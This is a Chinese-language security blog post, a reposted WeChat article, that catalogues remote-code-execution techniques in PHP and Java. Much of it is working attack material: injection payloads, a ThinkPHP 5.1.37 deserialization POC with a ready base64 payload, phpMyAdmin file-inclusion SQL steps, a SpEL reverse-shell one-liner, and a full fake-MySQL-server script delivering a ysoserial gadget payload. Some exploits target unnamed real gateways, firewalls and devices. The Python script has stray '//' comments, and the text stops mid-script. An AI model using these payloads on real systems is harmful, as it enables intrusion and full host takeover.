作者:ZAC安全
原文鏈接:https://mp.weixin.qq.com/s/gtArMfC2Xq9IEpwvu8Sszg

00 前言與基礎概念

RCE全稱 remote command/code execute 遠程代碼執行和遠程命令執行,那么RCE的作用呢?就相當于我可以在你的電腦中執行任意命令,那么就可以進而使用MSF/CS上線你的主機,就可以完全控制你的電腦了,所以做滲透中,個人認為危害最大的就是RCE,你SQL注入,我有RCE直接連接數據庫,你有未授權/信息泄露,我直接查看這些信息,你有XSS,我直接改源碼,你有弱口令,我直接扒下來電腦里存儲的密碼,大多數漏洞能做到的,RCE都可以輕而易舉的做到,所以我在做挖洞或代審的時候也更會偏向RCE的挖掘,而我在網上發現RCE的利用方式有很多,并且像是XSS到RCE,XXE到RCE這種小眾的利用手段有很多人都不知道,于是就有了此文,也算是自己的一個簡單筆記總結文章吧,這篇文章寫的我個人認為很全面了幾乎涵蓋大部分的RCE利用手段了,肯定還有很小眾的RCE我沒發現,不過全面的壞處就是不夠深,都是比較淺的東西,想深入的還是多搜點其他大佬的文章吧

基礎的shell符號概念
cmd1 | cmd2 只執行cmd2
cmd1 || cmd2 只有當cmd1執行失敗后,cmd2才被執行
cmd1 & cmd2 先執行cmd1,不管是否成功,都會執行cmd2
cmd1 && cmd2 先執行cmd1,cmd1執行成功后才執行cmd2,否則不執行cmd2
Linux還支持分號(;),cmd1;cmd2按順序依次執行,先執行cmd1再執行cmd2
php中也可以用反引號 echo `whoami`;

01 exec無過濾拼接RCE

首先是黑盒,平常我們看到了敏感的參數,比如ping啊,traceroute等測試連通性的,百分之80都基本都有命令拼接(但不一定有RCE),我們以某網關當例子 看到了ping和traceroute,輸入127.0.0.1和1

圖片

然后抓包,第一個包,記住這個sessionid,要在第二個包的post中添加過去

圖片

第二個包,我們發現參數過濾了

圖片

沒有關系,用traceroute試試

圖片

可以看到,拼接數據包的時候并沒有過濾,這樣我們就拿下rce了

圖片

那要是有源代碼的話我們該如何審計呢,這里以某管理平臺做例子,call_function參數直接post進來,然后switch判斷是ping還是tracert,兩邊都一樣,cmd直接拼接了post的參數,然后exec直接輸出

圖片

那么直接構造參數就可以造成rce

圖片

我們除了exec,還可以全局搜索system,shell_exec等命令函數,原理一樣不在贅述,以下為某防火墻的小通殺

圖片

02 任意文件寫入

當然,這些只是單純的執行命令,在php中還有file_put_contents這種可以寫入的函數,例子如下,這是之前bc站的源碼,應該是一個小后門,google88990接受傳參,然后file_put_contents直接拼接進去,寫入文件

圖片

直接構造payload

xxx/xxx/xxx/xx/xxx/GoogleChartMapMarker.php?google88990=phpinfo();

就可以直接getshell了

03 文件上傳

大家用的最最常見的rce方法應該就是文件上傳了,這里拿我之前寫過的一篇作為案例

這里下載源代碼 RiteCMS - download

圖片

圖片

訪問 admin.php , 然后輸入默認賬密 admin admin , 再次訪問admin.php進入后臺

圖片

File Manager

圖片

Upload file

圖片

選擇文件

圖片

OK-Upload file

圖片

Admin.php 中,進入到 filemanage.inc.php 文件

圖片

進入之后看到fileupload函數,這里new一個類,把對象賦值到upload, 然后全局搜索

圖片

圖片

圖片

這里賦值了upload 和uploaddir 參數

圖片

繼續往下走

圖片

在 73 行 有 move_uploaded_file 函 數 進 行 上 傳 , 前 面 的

this->uploadDir.directory.’/’

然后回到剛剛的filemanager.inc.php 文件

看到base_path,我們再去全局搜索一下

圖片

在settings.php 文件中可以到,返回了絕對路徑的上一級目錄然后跟蹤 directory 參數圖片

圖片

這里的目錄是不固定的,如果判斷為true,則是/files,如果為 false, 則 是 /media

然后繼續往下走

圖片

如果為false進入else語句,調用savefile函數

這里的filename和file_name是一樣的

圖片

圖片

圖片

該函數直接用 copy 函數將臨時文件復制到后面的文件中,成功拿下rce

圖片

圖片

這是copy 函數中的參數來源

04 任意登錄后臺+后臺RCE

當然,有的時候可能會進行鑒權,比如只有在后臺的時候才可以使用xx 方法,xx 功能,那么我們要配合信息泄露或者未授權進行組合combo,如下

我們可以看到,在shell_exec前會判斷是否登錄了

圖片

那么我們只要有方法不需要實際的賬號密碼可以進入后臺,那么就是個前臺rce,如下,只需要密碼為 hassmedia 就可以成功的進入后臺

圖片

圖片

05 SQL語句執行+寫入權限+絕對路徑

還有一種常見的拿shell手段是利用sql語句,如下

某次滲透過程中掃描到了一個3.txt文件

圖片

可以看到有了絕對路徑,那么我們現在就是需要找到sql注入點或者能執行sql的方法,訪問phpmyadmin的時候直接進去了

圖片

權限有了,執行點有了,絕對路徑也有了,接下來就是常規的寫shell

圖片

圖片

圖片

圖片

圖片

原理就不贅述了,把兩個重要語句貼下面了

圖片

圖片

當然,如果是sqlserver可以直接用xp_cmdshell

圖片

06 XSS+electron

Sql到rce都有了,那么為何不試試xss到rce呢?先安裝好node.js和electron

圖片

圖片

使用npm下載的話會比較慢,這里可以用另一種方法

npm install -g cnpm --registry=https://registry.npm.taobao.org
cnpm install electron -g

圖片

成功安裝,然后開始搭建環境

圖片

圖片

三個文件搭建好,然后npm run start就可以了

圖片

那么如何利用這個去rce呢,簡單的一句話,在index.js中如下

const exec = require('child_process').exec
exec('calc.exe',(err, stdout, stderr) => console.log(stdout))

下圖可以看到成功彈出計算器,造成rce,那么我們在能xss的情況下,控制前端代碼,并且是electron框架的時候,即可造成rce

圖片

圖片

大家所熟知的xss到rce應該就是某劍了,不過因為已經有很多大哥都寫過文章了,這里就不在贅述了,感興趣的可以去查一查,除了某劍還有某by也曾爆出過rce

https://evoa.me/archives/3/#%E8%9A%81%E5%89%91%E5%AE%A2%E6%88%B7%E7%AB%AFRCE%E7%9A%84%E6%8C%96%E6%8E%98%E8%BF%87%E7%A8%8B%E5%8F%8AElectron%E5%AE%89%E5%85%A8

如果使用shell.openExternal那段,命令里面只能使用file打開,或者打開網站,可利用性太小

圖片

打開個計算器還是沒啥問題的

圖片

順便說一下,網上很多都是用child_process,然后export function,但是我實測后發現并不能復現不了,各位師傅可以去看看,最簡化版應該就是以下這兩行了

const exec = require('child_process').exec
exec('calc.exe')

圖片

07 XXE+php協議

除了xss還有一種就是xxe到rce,這里為了方便就不在本地搭環境了,隨便網上找了個靶場去打,可以看到數據是由xml進行傳輸的,那么我們只要注入惡意payload即可造成xxe攻擊

圖片

圖片

但這種情況下,只能造成任意文件讀取,xxe跟xss一樣,都需要特定的環境才可以造成rce,比如說配合php的協議,expect等

圖片

那么我們的語句就可以變成

<!ENTITY xxe SYSTEM "expect://id" >]>

也就造成了rce(懶得配環境了,感興趣的可自行測試)

08 SSRF+遠程文件下載

還有一種rce的方式,是利用ssrf配合遠程文件下載造成的rce,如下,搭建好網站

圖片

圖片

分析代碼,我們可以看到函數downloadImage中,有個readfile,此處無過濾,這里就是一個簡單的ssrf,但是在769行還有一個imageStream

圖片

我們跟進來發現其中有個file_put_contents,可以直接造成遠程文件下載后寫入

圖片

有了邏輯我們就可以簡單的構造數據包如下:

圖片

成功寫入

圖片

09 文件包含

(組合拳0day分析與phpmyadmin分析)

我們再換一種思路,嘗試利用文件包含組合拳getshell,以下用某設備的0day做示例

全局搜索include,發現一處可控的文件包含,這是直接post進來的

圖片

然后再次全局搜索file_put_contents,看看哪里可以寫入,在set_authAction中找到了如下利用點,userName可控,fileCntent可控,filename直接拼接userName

圖片

那么AUTH_DIR和DS呢?這兩個參數在最開始的時候已經定義了,DS為分隔符,然后AUTH_DIR拼接

圖片

但文件包含僅限于/tmp/app_auth/cfile/,我們需要找到一個能創建目錄的利用點,全局搜索mkdir,發現dir可控,shell直接創建了,那么整個漏洞邏輯就出來了

圖片

先逐級創建目錄

Post創建目錄 store=/tmp/app_auth&isdisk=1
Post創建目錄  store=/tmp/app_auth/cfile&isdisk=1
post寫入文件數據 serName=../../tmp/app_auth/cfile/sb&auth=<?php phpinfo(); ?>
Post數據包含 cf=sb.txt

成功getshell

圖片

以上是文件包含+txt文件任意寫入+目錄創建的組合拳

還有一個是最近爆出來的0day,phpmyadmin文件包含后臺RCE,不過現在應該打了補丁,但是分析文章還沒出來,算是1day吧

復現步驟

1.

CREATE DATABASE test; CREATE TABLE test.bar ( baz VARCHAR(100) PRIMARY KEY ); INSERT INTO test.bar SELECT '<?php phpinfo(); ?>';

圖片

2.然后點test庫,再執行sql

CREATE TABLE pma__userconfig ( id int(11) NOT NULL, id2 int(11) NOT NULL, config_data text NOT NULL, timevalue date NOT NULL, username char(50) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=latin1;

圖片

3.

INSERT INTO pma__userconfig (id, id2, config_data, timevalue, username) VALUES (1, 2,'{\"DefaultTabDatabase\":\"..\/..\/Extensions\/tmp\/tmp\/sess_inhi60cjt8rojfmjl71jjo6npl\",\"lang\":\"zh_CN\",\"Console\/Mode\":\"collapse\"}','2022-05-07', 'root');

圖片

刪除cookie

圖片

訪問主頁登錄進去

圖片

登錄進來之后訪問兩次

http://localhost/phpmyadmin4.8.5/index.php?db=test

成功RCE

圖片

下面就是代審環節:

入口點

index.php中用了Config文件

圖片

Config.php文件中使用了require 包含了common.inc.php文件

圖片

在lib/common.inc.php中我們可以看到又包含了另一個目錄的common.inc.php

圖片

跟進去我們可以看到453行代碼

圖片

這里有一個loadUserPreferences函數,是用來加載用戶數據庫里面的內容,全局搜索找到該函數位置

第972行使用了load函數

圖片

跟進來

圖片

前面的入口流程就這么多,接下來就是核心分析,打上斷點動態debug調試

圖片

我們可以看到第一行有getRelationsParam,f7跟進去,我們可以看到該函數是讀取sessions的一些數據,如下

圖片

然后return回來

圖片

然后跟下來是backquote函數,f7進去

圖片

圖片

進行拼接test和pma__userconfig

圖片

然后就往下走到88-92進行拼接sql語句

圖片

然后就是93行的fetchSingleRow函數,繼續跟進來

這里的config_data獲取到了路徑

圖片

return回來

圖片

然后會對config_data表進行json_decode處理

這里會進入一個readConfig函數

圖片

然后跳過一些意義不大的函數

到這里會給prefs一個賦值

圖片

然后就是給config_data賦值

圖片

路徑就傳過來了

953行會global一個cfg,并傳過來config_data

圖片

這里就是我們的漏洞點了,如下

圖片

我們跟進Util中的getScriptNameForOption函數,如下

圖片

Location是database不是server,于是跳過該條件判斷,并且注意此時帶過來的target是我們的sessions路徑

圖片

此時可以看到switch中沒有能跟路徑匹配的

于是原路返回我們的target

圖片

進行包含

圖片

成功RCE

圖片

10 反序列化RCE

接著我們來分析難度較高的反序列化+RCE,因為目前反序列化的文章并不是很多,所以這里先說一下基礎概念

圖片

先來看一下這段代碼,基本的注釋我已經在上面寫好了,大家過一下就行,現在說一下幾個點

1.輸出的變量zactest為什么變成了zaczactest?

這是因為定義$zactest的時候用的是private方法,我們看下面這段話

private是私有權限,他只能用在zac類中,但是在序列化后呢,為了表明這個是我獨有的,他就必須要在定義的變量之前加上自己的類名

圖片

2.zaczactest明明是10個字符,為什么顯示12個?

圖片

這是因為私有化屬性序列化的格式是%00類名%00屬性名,類名就是zac,屬性名就是zactest,在這當中分別插入兩個%00,所以就多出了兩個字符,但為啥沒顯示出來呢?這是因為%00是空白符

圖片

3.為什么zac變量前要加上一個*,并且字符數是6

圖片

這個同理2,因為是protected方法賦值的$zac,所以它也有相應的格式,protected格式為%00%00屬性名,這也是為什么zac變量前面要加上一個,并且字符數是6的原因了

4.那除了這兩個方法,public有什么特性呢?

前面倆兄弟都有相應的序列化格式,但是public沒有,該是多少就是多少,他的特性就是public是公有化的,所以public賦值的變量可以在任何地方被訪問

然后就是實例復現,安裝thinkphp5.1.37,然后將framework改名為thinkphp放到,tp5.1.37的目錄里

https://github.com/top-think/framework/releases/tag/v5.1.37

https://github.com/top-think/think/releases/tag/v5.1.37

因為我對反序列化也不是特別熟悉,所以以下基本完全參照該文章

https://www.cnblogs.com/xueweihan/p/11931096.html

不過稍微修改了一些,比如過程中的一些方法,還有最后的動態審計部分,并且這篇文章中的poc我也是沒復現成功,最后找到其他大佬發出來的poc復現成功的(如侵權私聊我)

圖片

全局搜索_destruct

圖片

圖片

可以看到desturct有一個removeFiles,跟進

圖片

我們可以看到其中有一個file_exists,那么當filename是一個對象的時候,就會調用toString

圖片

全局搜索toString

圖片

發現toString里面只有個toJson,繼續跟進

圖片

發現有個toArray,跟進去

圖片

往下翻,看到這幾行代碼,$this->append的鍵名是key,name可控

圖片

那么188行的realtion呢?跟進getRelation試試

圖片

我們可以看到在toArray函數中的第201行,判斷!relation,那么想進來這個if里,就要讓this->relation

圖片

跟下去getAttr

圖片

跟進getData

圖片

我們只需要讓key 這個鍵,然后讓getAttr() 函數486行下面的if 判斷都沒有,就可以直接使 this->data[$key] ;

那么key 也是可控的(relation 也是可控的

我們接著全局搜索__call

圖片

圖片

看到了call_user_func_array,發現我們可以完全控制住第一個參數

圖片

那么我們現在就需要找到這類函數,比如input

圖片

但這里我們只能去找間接調用input的方法,全局搜索$this->input,找到param函數

圖片

我們在當前目錄搜索哪里調用了param這個函數,看到了isAjax

圖片

然后開始進行漏洞復現,首先在

\application\index\controller\Index.php

文件添加一個反序列化入口

圖片

然后我們構建一個payload

圖片

圖片

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表單請求類型偽裝變量
'var_method'     => '_method',
// 表單ajax偽裝變量
'var_ajax'       => '_ajax',
// 表單pjax偽裝變量
'var_pjax'       => '_pjax',
// PATHINFO變量名 用于兼容模式
'var_pathinfo'   => 's',
// 兼容PATH_INFO獲取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默認全局過濾方法 用逗號分隔多個
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root'=> '',
// HTTPS代理標識
'https_agent_name'=> '',
// IP代理獲取標識
'http_agent_ip'  => 'HTTP_X_REAL_IP',
// URL偽靜態后綴
'url_html_suffix'=> 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;

class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
/*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/
?>

然后php 2.php 生成payload,在id里加個whoami

圖片

圖片

成功拿下rce

因為這個反序列化網上教程都是靜態硬審的,所以非常不好理解,為了便于理解,我們可以使用xdebug配合phpstorm進行動態調試,更好地理解參數傳遞的過程

Php.ini文件:

圖片

圖片

然后開啟監聽,burp打上payload開始跟

圖片

圖片

入口進來

圖片

圖片

然后param函數,獲取到了一些方法之類的參數

圖片

跟到input

圖片

getFilter

圖片

反序列化入口點

圖片

調用__destruct

圖片

removeFiles

圖片

調用了toString

圖片

然后跟進tojson

圖片

繼續跟進toArray

圖片

然后就是getAttr

圖片

getData

圖片

getRelation

圖片

圖片

然后跳過幾個無用步驟,進到了call

圖片

isAjax

圖片

然后再跳到param

圖片

然后再跳幾下,就到了appShutdown結束

圖片

圖片

這就是一個大致的流程,理論還是按照靜態審的來,也可以動態自己跟著走一遍可以理解(這里用的都是f8,如果要跟的更加深入一點可以f7進入每個方法的模塊一點點看,我這里跳步比較多,所以還是推薦自己去跟一下深入理解)

Php說了這么多,那么再來稍微說下java,因為我java學的并不是很多,所以這里只是簡單寫幾個案例,先來說一下java和php不同的地方,php中的exec,就相當于正常的cmd了,但是在java中卻不一樣,如下,單純一個whoami可以正常執行

圖片

但是當我們用管道符拼接的時候發現,報錯了,這是因為Runtime.getRuntime().exec將里面的參數當成一個完整的字符串了,而不是管道符分割的兩個命令,那么也就不能像php一樣進行拼接rce了,這也是體現java安全性高的一點(當然如果開發直接把參數代入了也是可以的,但是我沒找到這樣的java案例,這里有個坑點,記得加exec.waitFor,不然執行不成功的,也可能單純是我環境的問題)

圖片

但是用cmd /c是可以的,不過如果開發寫的是ping 加參數依舊是不能直接拼接的,必須command全部參數都可控才行

圖片

11 表達式注入

然后就是java的表達式注入,這里用最近的Spring Cloud Function的spel表達式注入做測試(因為好找靶場,本地環境一直搭不起來)(除了spel還有OGNL,MVEL,EL等,這里只用spel舉例做測試)

先看一個簡單的demo,這里我們發現12行的expression代入到了13行的parseExpression中,可以解析java.lang.Runtime類,那么我們就可以直接執行命令

圖片

圖片

圖片

后面就是反彈shell了,網上文章較多,大家自行測試

T(java.lang.Runtime).getRuntime().exec("bash -c {echo,base64加密的shell}|{base64,-d}|{bash,-i}")

原理分析,參考(https://www.t00ls.cc/thread-65356-1-1.html)

這里獲取post,然后將參數轉到processRequest

圖片

往下跟進processRequest

圖片

注意這里是header,這也是為啥payload在header中傳輸

圖片

然后跟進apply進去

圖片

傳進來的數據跟進doApply,在進去doApply方法看

圖片

跟進apply

圖片

發現參數到了route,在跟進route

圖片

判斷請求頭有沒有spring那段,如果有的話就進入到functionFromExpression里代入,那我們進去這個函數看一下

圖片

跟開頭一樣,這里的parseExpression直接帶入進來解析,所以也就成功的rce了

12 JNDI注入

圖片

這里的jndiName可控,我們就可以直接造成Rce

“RMI(Remote Method Invocation),是一種跨JVM實現方法調用的技術。

在RMI的通信方式中,由以下三個大部分組成:

Client

Registry

Server

其中Client是客戶端,Server是服務端,而Registry是注冊中心。

客戶端會Registry取得服務端注冊的服務,從而調用服務端的遠程方法。

注冊中心在RMI通信中起到了一個什么樣的作用?我們可以把他理解成一個字典,一個負責網絡傳輸的模塊。

服務端在注冊中心注冊服務時,需要提供一個key以及一個value,這個value是一個遠程對象,Registry會對這個遠程對象進行封裝,使其轉為一個遠程代理對象。當客戶端想要調用遠程對象的方法時,則需要先通過Registry獲取到這個遠程代理對象,使用遠程代理對象與服務端開放的端口進行通信,從而取得調用方法的結果。”

Jndi注入最知名的案例應該就是log4j了

原理分析

解開jar包

圖片

入口

圖片

主要是127-132這段

127邏輯進去后,129行判斷字符串中是否包含 ${ 如果包含,就將從這個字符開始一直到字符串結束替換為下面的值,然后就是132替換值的地方

跟進getStrSubstitutor()

圖片

圖片

13 JDBC反序列化

Java還有一種獨有的RCE方法就是JDBC可控配合反序列化的RCE

官網下載8.0.12版本:https://downloads.mysql.com/archives/c-j/

看著兩個參數組成的payload

圖片

官方介紹

圖片

圖片

queryInterceptors:一個逗號分割的Class列表(實現了com.mysql.cj.interceptors.QueryInterceptor接口的類),在Query”之間”進行執行來影響結果。(效果上來看是在Query執行前后各插入一次操作);

autoDeserialize:自動檢測與反序列化存在BLOB字段中的對象;

設置為com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor這個類之后,每次執行查詢語句,都會調用攔截器的preProcess和postProcess方法

看到

\mysql-connector-java-8.0.12\src\main\user-impl\java\com\mysql\cj\jdbc\interceptors\ServerStatusDiffInterceptor.java

文件中的preProcess里的populateMapWithSessionStatusValues,跟進這個函數

圖片

跟進去之后發現先執行了show session status,然后傳到resultSeToMap中,跟進這個函數

圖片

我們可以看到在resultSeToMap中出現了getObject

圖片

這里跟進的是

\mysql-connector-java-8.0.12\src\main\user-impl\java\com\mysql\cj\jdbc\result\ResultSetImpl.java

圖片

可以看到try語句中存在readObject

最后貼上 Tri0mphe7師傅的腳本

# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
//file文件的內容使用ysoserial生成的 使用規則  java -jar ysoserial [common7那個]  "calc" > a
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要邏輯
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))
        # 1.先發送第一個問候報文
        send_data(conn,greeting_data)

        while True:
            # 登錄認證過程模擬  1.客戶端發送request login報文 2.服務端響應response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)
            #其他過程
            data=receive_data(conn)
            #查詢一些配置信息,其中會發送自己的 版本號
            if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
 _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn,response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn,response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 為什么我加了EOF Packet 就無法正常運行呢??
                //獲取payload
                payload_content=get_payload_content()
                //計算payload長度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                //計算數據包長度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break

if __name__ == '__main__':
     HOST ='0.0.0.0'
     PORT = 3309

     sk = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     #當socket關閉后,本地端用于該socket的端口號立刻就可以被重用.為了實驗的時候不用等待很長時間
     sk.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
     sk.bind((HOST, PORT))
     sk.listen(1)

     print("start fake mysql server listening on {}:{}".format(HOST,PORT))

     run()

14 SSTI注入

除了這些還有一種rce非常的少見,就是ssti注入到rce

簡單demo

圖片

圖片

我們可以看到計算成功,那么就證明這個點是存在ssti注入的

圖片

用網上的腳本跑一下payload

圖片

from flask import Flask
from jinja2 import Template

searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__','__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__','__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__','__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__','__call__', "__instancecheck__", '__subclasscheck__', '__len__','__length_hint__', '__missing__','__getitem__', '__setitem__','__iter__','__delitem__', '__reversed__', '__contains__', '__add__','__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
     for attr in searchList:
          if hasattr(i, attr):
              if eval('str(i.'+attr+')[1:9]') == 'function':
                  for goal in neededFunction:
                      if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                         if pay != 1:
                              print(i.__name__,":", attr, goal)
                         else:
